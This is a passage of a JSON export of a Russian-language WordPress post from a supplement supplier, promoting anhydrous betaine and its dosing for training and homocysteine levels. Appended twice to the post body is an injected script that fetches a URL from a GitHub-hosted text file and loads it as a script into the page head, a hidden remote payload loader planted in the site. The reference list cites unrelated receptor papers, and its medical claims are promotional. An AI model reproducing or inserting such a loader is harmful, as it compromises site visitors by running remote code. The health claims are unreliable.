\u0442\u0435\u043b\u0430 \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439. \u0412 \u044d\u0442\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u0431\u0435\u0442\u0430\u0438\u043d \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u043b\u0438 \u0432 \u0434\u043e\u0437\u0435 2,5 \u0433\u0440\u0430\u043c\u043c\u0430, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u043e\u0439 \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u0432 \u0434\u0435\u043d\u044c, \u0438 \u0432 \u0434\u043e\u0437\u0435 1,25 \u0433\u0440\u0430\u043c\u043c\u0430, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u043e\u0439 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u0432 \u0434\u0435\u043d\u044c. \u041d\u0435\u044f\u0441\u043d\u043e, \u043a\u0430\u043a \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0435 2,5 \u0433 \u0438 \u0435\u0441\u0442\u044c \u043b\u0438 \u043e\u0442 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u0430.<\/p>\n\n\n\n<p>\u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430. \u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u043e\u0437\u044b \u0434\u043e 1 \u0433\u0440\u0430\u043c\u043c\u0430, \u0430 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u043f\u0440\u0435\u0434\u0435\u043b - 5+ \u0433\u0440\u0430\u043c\u043c\u043e\u0432 \u0432 \u0434\u0435\u043d\u044c. \u0421\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430 \u0431\u044b\u043b\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0434\u043e\u0437\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u0431\u0435\u0442\u0430\u0438\u043d\u0430. \u0427\u0435\u043c \u0432\u044b\u0448\u0435 \u0434\u043e\u0437\u0430 \u0431\u0435\u0442\u0430\u0438\u043d\u0430, \u0442\u0435\u043c \u043d\u0438\u0436\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041a\u043e\u0433\u0434\u0430 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0431\u0435\u0442\u0430\u043f\u0430\u0443\u044d\u0440 \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439? <\/h2>\n\n\n\n<p>\u0411\u0435\u0442\u0430\u0438\u043d \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u0443\u0442\u043e\u043a, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0435\u0433\u043e \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430\u043c\u0438. \u041a\u043b\u044e\u0447\u043e\u043c \u043a \u043f\u0440\u0438\u0435\u043c\u0443 \u0431\u0435\u0442\u0430\u0438\u043d\u0430, \u043a\u0430\u043a \u0438 \u043a\u0440\u0435\u0430\u0442\u0438\u043d\u0430, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u0441\u0442\u0432\u043e \u0438\u0437\u043e \u0434\u043d\u044f \u0432 \u0434\u0435\u043d\u044c. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0432\u0430\u0448\u0430 \u0441\u0443\u0442\u043e\u0447\u043d\u0430\u044f \u0434\u043e\u0437\u0430 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 2,5 \u0433\u0440\u0430\u043c\u043c\u0430 \u0432 \u0434\u0435\u043d\u044c - \u044d\u0442\u043e \u0432\u0441\u0435, \u043e \u0447\u0435\u043c \u0432\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0438\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u043f\u0440\u0438\u0435\u043c\u0435 \u0431\u0435\u0442\u0430\u0438\u043d\u0430.<\/p>\n\n\n\n<p>\u041e\u0431\u044b\u0447\u043d\u043e \u0431\u0435\u0442\u0430\u0438\u043d \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u0434 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043a\u043e\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438\u0434\u0430\u0442\u044c \u043c\u044b\u0448\u0446\u0430\u043c \u0441\u0438\u043b\u0443 \u0438 \u0432\u044b\u043d\u043e\u0441\u043b\u0438\u0432\u043e\u0441\u0442\u044c. \u0427\u0430\u0441\u0442\u043e \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u0442\u044c \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0430\u0445 \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043a\u0438, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u043c\u044b\u0448\u0435\u0447\u043d\u043e\u0433\u043e \u0440\u043e\u0441\u0442\u0430 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041a\u0430\u043a \u0434\u043e\u043b\u0433\u043e \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442? \u0411\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u0434\u043e\u0437\u0438\u0440\u043e\u0432\u043a\u0430<\/h2>\n\n\n\n<p>\u041a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0441\u0441\u044b\u043b\u0430\u0435\u043c\u0441\u044f \u0432\u044b\u0448\u0435, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0432 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u043f\u044b\u0442\u0443\u0435\u043c\u044b\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u0438 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 6 \u0438 8 \u043d\u0435\u0434\u0435\u043b\u044c. \u041c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0441\u0442\u0430\u0432\u0430 \u0442\u0435\u043b\u0430 \u0433\u043e\u0432\u043e\u0440\u044f\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u0441 \u0431\u0435\u0442\u0430\u0438\u043d\u043e\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 6 \u043d\u0435\u0434\u0435\u043b\u044c \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043e\u043a \u0438 \u043f\u0438\u0442\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0439 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u044d\u0442\u0438\u0445 \u0446\u0435\u043b\u0435\u0439. \u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0432\u043b\u0438\u044f\u043d\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435, \u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0431\u044b\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u0443\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 4 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0435\u043c\u0430 \u0431\u0435\u0442\u0430\u0438\u043d\u0430. \u042d\u0442\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0434\u043e\u0437\u0438\u0440\u043e\u0432\u043a\u0438 \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u0438 \u0443\u0440\u043e\u0432\u043d\u044f \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u043e\u0447\u0435\u0442 \u0435\u0433\u043e \u0441\u043d\u0438\u0437\u0438\u0442\u044c.<\/p>\n\n\n\n<p>\u0441\u0441\u044b\u043b\u043a\u0430<\/p>\n\n\n\n<p>1. \u041f\u0430\u0430\u0432\u043e\u043b\u0430, \u041a.\u0414\u0436. \u0438 \u0420.\u0410. \u0425\u043e\u043b\u043b, \u0410\u0434\u0433\u0435\u0437\u0438\u043e\u043d\u043d\u044b\u0435 G-\u0431\u0435\u043b\u043e\u043a-\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0440\u0435\u0446\u0435\u043f\u0442\u043e\u0440\u044b: \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0444\u0430\u0440\u043c\u0430\u043a\u043e\u043b\u043e\u0433\u0438\u044f \u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438. \u041c\u043e\u043b\u0435\u043a\u0443\u043b\u044f\u0440\u043d\u0430\u044f \u0444\u0430\u0440\u043c\u0430\u043a\u043e\u043b\u043e\u0433\u0438\u044f, 2018. 82(5): p. 777-783.<\/p>\n\n\n\n<p>2. Stephenson, J.R., R.H. Purcell, and R.A. Hall, The BAI subfamily of adhesion GPCRs: synaptic regulation and beyond. Trends in pharmacological sciences, 2019. 35(4): p. 208-215.<\/p>\n\n\n\n<p>3. Zeisel, A., et al., Molecular architecture of the mouse nervous system. Cell, 2018. 174(4): p. 999-1014.<\/p>\n\n\n\n<p>4. Duman, J.G., Y.-K. Tu, and K.F. Tolias, Emerging roles of BAI adhesion-GPCRs in synapse development and plasticity. \u041d\u0435\u0439\u0440\u043e\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c, 2015.<\/p>\n\n\n\n<p><strong>\u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \/ \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \/ \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \/ \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \/ \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u0417\u0430\u0432\u043e\u0434\uff1a.<em>www.backvita.com<\/em><br>\u042d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0430\u044f \u043f\u043e\u0447\u0442\u0430: info@backvita.com<br>\u0422\u0435\u043b\u0435\u0444\u043e\u043d: +86 (029) 8187 2325<\/strong><\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>What is anhydrous betaine what is betaine anhydrous Anhydrous betaine is a naturally occurring compound found in the body. Betaine is also known and shortened to trimethylglycine or TMG. Structurally, betaine is a small trimethylated amino acid, the amino acid element is glycine, hence the name trimethyl-glycine. As mentioned earlier, it can be found in [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3138,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"The role and effect of anhydrous betaine in sports supplements","_seopress_titles_desc":"etaine plays some roles in the body, but is best known in the sports supplement industry for providing similar benefits to creatine. Don&#039;t go to science; Like creatine, betaine acts as an penetrant in the body. Penetrants are molecules that move in and out of cells to maintain cell volume and fluid balance. ","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1731,1734,1730,1733,1732],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US.webp",1290,850,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US-300x198.webp",300,198,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US-768x506.webp",768,506,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US-1024x675.webp",1024,675,true],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US.webp",1290,850,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US.webp",1290,850,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US.webp",18,12,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US-600x395.webp",600,395,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/backvita-ABOUT-US-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>What is anhydrous betaine what is betaine anhydrous Anhydrous betaine is a naturally occurring compound found in the body. Betaine is also known and shortened to trimethylglycine or TMG. Structurally, betaine is a small trimethylated amino acid, the amino acid element is glycine, hence the name trimethyl-glycine. As mentioned earlier, it can be found in the body, but it can also be found in sugar beets, which gives betaine its name. Just to be clear about the name of this ingredient; Anhydrous betaine, trimethylglycine and TMG are identical ingredients. No matter which name they choose to use on the nutrition&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ru\/category\/\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435-\u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ru\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/4678"}],"collection":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/comments?post=4678"}],"version-history":[{"count":4,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/4678\/revisions"}],"predecessor-version":[{"id":6417,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/4678\/revisions\/6417"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media\/3138"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media?parent=4678"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/categories?post=4678"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/tags?post=4678"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}